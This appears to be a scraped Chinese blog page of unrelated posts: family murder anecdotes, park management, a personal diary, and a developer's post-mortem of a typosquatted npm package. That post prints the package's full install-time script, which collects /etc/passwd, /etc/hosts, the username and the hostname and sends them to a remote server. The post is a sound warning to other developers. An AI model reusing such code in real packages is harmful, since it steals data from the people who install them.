比如这两天参与携宠旅游时,有人认为狗就是「畜生」,所以送狗上学的结论就是「狗无论送不送去上学都是畜生」的结论——以至于当大家需要理性讨论送狗上学的目的是什么时,对方的结论无论如何推导到的都是「畜生没有必要上学」。

但事实上,送狗上学的核心是让狗进行基本礼仪的训练,就跟小孩子需要学会「可以」和「不可以」一样,而不是通过上学为「畜生」赋予「人」的属性。

很显然,如果对方咬定了「狗是畜生」这个结论,那无论再多的证据链都无法颠覆这个结论,这个时候证据链本身就会被那句「手指很像」给轻易颠覆,这个时候「手指很像」就变形成了更强烈的拒绝讨论、圈层认同的确认性偏差:

  • 我看到的事实就是这样,我不认为你说的观点是对的;(但事实是全面的吗?)
  • 书本上就是这样说的,你挑战颠覆知识吗?
  • 你不要代表我,反正我不这样认为;
  • 你这么激动做什么,被我说到痛处了吗?
  • 你支持他吗?所以你也不是什么好人;

自此,比证据链更标准的死循环出现了,即康德在《判断力批判》里提到的三种逻辑谬误:

  • 将动机推断等同于证据;
  • 将价值判断等同于事实;
  • 将主观偏好集合为集体结论;

生而不养是为害

作者 Mr.He
2025年4月24日 21:10

给大家讲两个最近发生在周边的事情吧,道听途说,大家当一个无中生有的故事听听,莫当真。

第一件

老父亲好不容易把儿子养大,结果很不争气,快四十岁了还没结婚,成天到处混日子,到棋牌室打麻将。

不巧,那几日手气不好,连连输了好几天,手头了一分钱都没有了,于是找老父亲要钱。

老父亲面朝黄土背朝天,一年到头以农活为生,这一次给了儿子 300 块。可是一天就输完了,第二天接着找父亲要钱。

可是父亲已经没有钱了,儿子说"你几百块钱都没有?搞什么搞?"拿起砧板上的菜刀就要砍父亲,父亲见状赶紧跑。

没曾想,刚跑出家门,慌张中被绊倒了,儿子趁势将父亲乱刀砍死,据说现场惨不忍睹。

第二件

话说有表兄弟二人,表哥五十出头,表弟四十七八,均为穷光蛋,日子倒也过得平和。

去年修一条高速,表哥家里补偿了 5.5 万块钱,表弟知道了,就去找表哥借钱,说是借 2 万,表哥就把银行卡给了表弟,表弟把钱全部取了,用了。

表哥当然不开心,就去找表弟要。表弟说我没钱还,咋办?

春节的时候在亲戚朋友的劝说下,表弟勉强还了 1 万,还差 4万5,于是表哥就经常上门讨要。

在某一天,表弟被逼的烦了,就把表哥给结果了。

老何有话说

什么是教育?私以为教育的本质是改变人的思想,因为有了思想才和动物有了明显的区别,要知道东西是分你我的。

以下是AI对两件事情的分析。

这两个悲剧都暴露出人性在压力与欲望交织下的扭曲,其根源在于长期失衡的家庭关系与社会支持系统缺失。

第一起案件中,成年子女对亲人的暴力行径,折射出长期啃老与精神啃噬形成的畸形依存关系。四十岁男子将赌博失败的责任外化,反而迁怒于供养者,折射出个体责任感的全面溃败。父亲持续无原则的经济支持,实则纵容了子女逃避成长责任的行为模式,最终酿成不可逆的悲剧。

第二起案件则凸显经济压力对脆弱人际关系的冲击。四万五千元债务成为压垮亲情的最后一根稻草,暴露出贫困状态下个体应对风险的脆弱性。表兄弟本为血缘至亲,却在长期经济不平等中积累怨怼,最终因区区债务突破道德底线。这警示基础社会保障体系的缺位,使弱势群体在生存困境中更易陷入暴力循环。

【公园经营模拟】公园的情况,和一些前期工作

作者 Andalue
2025年4月24日 20:49
这座公园是我过去5年的主要办公场所之一,也经常出现在我的一些视频中,参考tag:高东生态园。 高东生态园始建于2005年,地址位于上海市浦东新区新园路998号,其中有一整片的相连通水域(可惜被划为鸟类栖息地,无法进行水上活动开发)。 公园的主管机关是浦东新区林业站,属于浦东新区绿化中心直管的40座公园之一,公园的养护经费由林业站拨付。 公园内除了自然生态景观和一座足球场外,有几座建筑需要特别说明。 其一是一座别墅模样的二层建筑“书堂画院”,在公园里的一座人工岛上,是我们公司在2009年投资建设的,一开始的用途是餐饮接待,在八项规定之后转为艺术品展示功能。 然后是我现在办公的地方——游客服务中心,现在更多是提供公益服务,以及为高东镇政府部门提供会务服务。 还有一个颇为气派的体育场馆,是2008年底建成的“高东门球中心”,隶属于高东镇文广中心管理,和我们公司关系不大,就不多介绍了。 在公司决定运营公园后,我们最先想到的就是烧烤+露营的模式,所以在一开始,就规划了一片提供电烤炉的区域。 目前已经全部完工,但是反响平平。4个人的桌椅+帐篷+电炉使用4小时的价格是198,我觉得价格并不算贵,问题可能是出在选址上,因为这个区域离公园入口比较远,大家很多来露营的都选择在离大门更近的地方扎帐篷。所以还需要加强宣传的力度,让大家知道公园更内部的区域有提供露营的服务。

新开板块!【公园经营模拟】

作者 Andalue
2025年4月24日 20:04
基本很少有人会在自己的个人博客上讨论工作的内容吧,之前我也非常不喜欢和他人分享我的工作,毕竟自己只是一个平凡的打工人,日常工作无非是完成“领导交办的各类工作”,没有自主决策不说,事情做起来也没有什么成就感。 不过,最近因为公司在长期不懈的坚持下,终于拿到此前从事养护业务所在公园的经营权,我首命兼起公园运营的业务。从此开始,我的工作有一些乐趣涌现了!所以在这里希望记录一下公园经营的点滴。
昨天以前独立博客

中年空虚

2025年4月14日 14:52

首先跟老天爷声明一下,我很满意现状,不需要天降大任哈,拜托了!此篇文章仅记录近期想法,不是牢骚,纯纯困惑。

这周开始步行上下班,一路上多了许多思考的时间。自从进入花粉季,身体似乎一直有些小恙,也时常感觉到疲倦。虽然身经百战的我已经能够做到放下焦虑好好休息,也明白维持住日常运转已经实属不易,并不会逼得太紧,但好像还是差了一口气。刚开始我没法准确形容这种感觉,好似没了激情,身体里积极向上的那股子气流失了。于是我开始对生活进行逐项排查,可是并无不妥。相反,我更加体会到了自己的幸运,幸运地过上了理想中的生活——父母健康、伴侣有爱、女儿乖巧、事业顺遂。所以到底是哪里出了问题呢?


以上来自萎靡不振时想要记录的上上周,而经过一周的调整,我现在已经好多了。我尝试回忆,但是一无所获。我想不起来我想记录什么了,挺可惜的。不过这也是无可奈何的事。有想法的时候没能力记录,有能力记录的时候又忘记了彼时的心境。

我感觉自己陷入了抑郁情绪,但是找不到根源所以无从下手解决。如上文所述,我做了不少努力,找不到原因反而使我更加迷惑。跟豆哥聊了之后,他嘱咐我多多放空,我也如是行动了。

日子平平淡淡的没什么不好,我的气力倒也足以完成每日必做,所以我便心安理得地在自由时间里放纵。就是对于曾经喜欢的东西仍是提不起兴趣。后来因为坡坡的事跟豆哥又深聊了一次,我的压力随着眼泪释放了许多,我心里也觉得轻松了不少。

也许坡坡身份的转变给我带来了无形的压力,但我却没有察觉。同样的,坡坡应该也经历着压力。正因如此,我好像有些过度压抑自己,为了确保不给她更多压力。但因为生活流程有了不少变化,而我在如何教育她这件事上又产生了疑惑。我几次三番跟豆哥确认,抓大放小,仍旧不得要领。豆哥说要是他他就该咋办咋办,我还是太有耐心。我的委屈一下子涌了上来,所以到底怎么做才对呢?

昨天我跟坡坡吵了两架。一次是她早上起不来上学快迟到仍旧磨磨蹭蹭。我凶了她也反省了自己,告诉自己她还是小孩,需要我的帮助,我不该以成人标准要求她。但什么事情会使我生气?我想了想昨晚也告诉了坡坡,是不遵守时间和态度不好。但仔细想想,我小时候也并没有做得多好,所以还是需要练习。

第二次吵架是晚上回来,提醒了好几次的家庭规则——一回家就洗手,结果仍是吃硬不吃软,我心态崩了,不是上午刚吵的吗?她去洗澡,我也没心思煮饭,她出来后我又是一顿输出,她静静地听着。我讲到前阵子有气无力,但还是努力维持住了基本生活,说着说着眼泪就下来了。我告诉她,生活很难,但是妈妈在努力,希望你也可以努力,不然我真的很委屈。现在想想,也是我能量不够了,堪堪够维持基本也就意味着没法照顾自己的情绪,所以更不可能照顾她的情绪。

我有些自责,为什么我不能做得更好。坡坡说,在她那里妈妈的不好是零个。对,我做得够好了,我应该像豆哥跟坡坡学习,顺其自然,该发火发火,不内耗。豆哥如此,坡坡更是,总是直接大哭,把我烦得不行。不过我现在能压住自己上头的火气,仅这一点我都要把自己夸爆。

胡言乱语了许多,挺好。今年已经过去快三分之一了我才写了一篇文章,虽然是一篇以一敌百的汇总文。我可能也要重新衡量博客的地位了,既然提不起兴趣也无须强求。刚刚下班时脑子里出现一个想法,刚退休的叔叔阿姨们是不是就是我上周的状态,说不上差,但是绝对不好,好像温水煮青蛙,说不上来哪里不对,也就没法解决,久而久之便罢了。而久而久之,也就好了。

写完这篇文章,我抬头发现,面前的树上开满了红色的花。真好,不需要追求答案,只享受当下。

我是怎么差点被恶意 npm 包攻击的

作者 tcdw
2025年4月24日 15:15

其实我很久以前就听说过有骇客通过在 npm、PyPI 等平台注册名字和知名库碰瓷的恶意包,实现入侵公司内部系统等恶意操作的事情。一直以来我以为这种事情离我很远,因为我在使用一个库以前总会去看官方文档,并且在进行依赖安装时复制文档里提到的包名。

事实证明,我的实践确实是好的,至少在 LLM 大幅普及以前。直到不久前,我试图使用 Atlassian 家出品的 @atlaskit/pragmatic-drag-and-drop 库来在 React 应用里实现列表拖动排序功能。然后,我险些在这件事上翻车了。于是我便发了一篇推文:

傻了,自认为安全意识很好的我也差点被恶意 npm 包攻击了。还好 pnpm 10 默认没有运行这个恶意包的 build scripts,而且 rsbuild 也跑不动这个脚本,我才免遭一劫。
已经举报这个包了。 pic.twitter.com/dyk15BbZMq

&mdash; 陶瓷大碗 (@tcdwww) April 21, 2025

本来只是随手吐槽,没想到那条推文火了,热度远超我的预期;因为我一开始没有在推文里提及完整的过程,导致出现了很多猜测和质疑:

  • 「这个包名是不是 LLM 幻觉了一个出来的?」
  • 「这个包才发布没几天,还是个三无号发布的,能装上这种包的人也是个人才。」
  • 「这个包会读取 /etc/passwd,是不是能偷我的密码?」
  • ……

既然如此,因为单独回复每一条评论或群组里的每一条消息的话,别人不一定能看得见,我觉得有必要详细解释一下其中的几个细节,给大家一个完整的复盘。

为什么我会装上这个包?

首先,那个包的包名其实不是 LLM 编的,是我自己想当然的名字。因为这个项目的 GitHub 地址是 https://github.com/atlassian/pragmatic-drag-and-drop ,而且这个项目的名字如此冗长,我便想当然的认为,这个包应该就叫 pragmatic-drag-and-drop。顺带一提,这个包其实我之前听说过,但是不太熟悉,也没有亲自用过。

我平时用的编辑器有 Webstorm 和 Windsurf。因为我恰好偷懒没有写项目级别的 .windsurfrules 文件,导致 AI 有时候会用 npm 装依赖(其实这个项目用 pnpm),加上 AI 思考要不要装包的这一步就要花费一些时间,所以想着干脆提前把包装好,叫 AI 直接用这个包写代码比较方便。

我一开始以为 Atlassian 这种大厂出品的库,包名应该不会有什么奇怪的「埋雷」操作。结果我就这么稀里糊涂装上了一个碰瓷的恶意包。

其实 pnpm 10 已经提醒我,这个包有没有被允许的 Lifecycle Scripts,但我的习惯是只在必要时才单独开启个别包的 Lifecycle Scripts 执行权限。毕竟除去 esbuild 之类要设置二进制的包,很多 npm 包的 postinstall 脚本只是打印点东西,不开也没啥影响。

AI 也会踩雷

接下来我让 LLM 用这个包写一个可拖拽的列表。它完全没意识到包有问题,反而一本正经地写了一堆 API,还写了调用这个「库」的代码。

我看 tsc 没报错,就直接 pnpm run dev,结果 rsbuild 报错说有些 node 模块无法处理。

我一脸问号,去看报错部分,直接懵了:WTF?

Rsbuild 构建不了恶意包

就这样,我差点就酿成惨剧。

事后复盘:还好有惊无险

那么,这个恶意包究竟有多恶意呢?下面是这个包中唯一的 js 文件内容:

const os = require("os");
const dns = require("dns");
const fs = require("fs");
const https = require("https");
const packageJSON = require("./package.json");
const packageName = packageJSON.name;

// Collect system data from the remote server where the package is installed
const trackingData = JSON.stringify({
    p: packageName,  // Package name
    c: __dirname,    // Directory where the package is installed
    hd: os.homedir(),  // Home directory on the remote server
    hn: os.hostname(),  // Hostname of the remote server
    un: os.userInfo().username,  // Username on the remote server
    dns: dns.getServers(),  // DNS servers on the remote server
    v: packageJSON.version,  // Version of the package
    pjson: packageJSON,  // Full package.json data
    etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null,  // /etc/passwd from the remote system
    etc_hosts: fs.existsSync('/etc/hosts') ? fs.readFileSync('/etc/hosts', 'utf8') : null  // /etc/hosts from the remote system
});

// Log the data to verify it's the remote server's information
console.log("Sending System Data from Remote Server: ", trackingData);

// Prepare the POST request data
var postData = JSON.stringify({
    msg: trackingData,
});

// Request options to send data to your server (Burp Collaborator or any endpoint)
var options = {
    hostname: "<REDACTED>",  // Burp Collaborator server
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Content-Length": postData.length,
    },
};

// Send the data via HTTPS POST request
var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);  // Output the response from the server
    });
});

req.on("error", (e) => {
    console.error("Error sending data:", e);  // Handle any error during the request
});

req.write(postData);  // Send the data in the request body
req.end();  // End the request

冷静下来复盘,发现即便这个脚本真的执行了,对我的影响其实有限:

  • 我用的是 macOS,因为 macOS 的用户信息是用 Open Directory 管理的,/etc/passwd 里的内容毫无价值。
    • 不过就算是 Linux 系统,用户的密码其实存储在 /etc/shadow 里,不仅只有 root 用户才能访问,而且还是经过 hash 的。
  • /etc/hosts 我也没用,没有有价值的信息。
  • 这个脚本还会上传我用的 DNS 服务器(然而是阿里云的公共 DNS)、包名、package.json 等等。
  • 当然,它也能知道我的 IP 地址(我开了 Surge 增强模式,应该拿到的是我机场落地的 IP)。
  • 顺带一提,这个包完全没考虑 Windows。

所以我感觉,这个恶意包其实更希望在 CI 服务器上发挥作用,可能能刺探一些公司内网的信息。以我浅薄的知识,也不太明白还有什么更深的危害。

顺带一提,这个脚本会把收集到的这些信息上传到一个域名后缀是 oastify.com 的地址。所以我估计是有真・白帽黑客在搞研究,也有可能是恶意人士利用这个平台收集数据

我学到了什么

这次事件的本质问题有哪些呢?

首先,我一开始犯了蠢,包名没查清楚。然后 LLM 也没意识到问题,还一本正经「幻觉」出一堆 API;还好 pnpm 10 和 Rsbuild 最终把我拦住了。

结论就是,人和 AI 都不能掉以轻心。这次我学到的最大教训是:以后让 AI 用某个库帮我写代码前,一定要考虑三要素:

  • 这个库是否真的能满足我的需求?
  • 这个库还在积极维护吗,或者是否已处于稳定状态?
  • 我到底该装哪个 npm 包?

希望我的这次经历能给大家提个醒:无论是人还是 AI,面对陌生依赖都要多留个心眼,别让小疏忽变成大事故。

❌
❌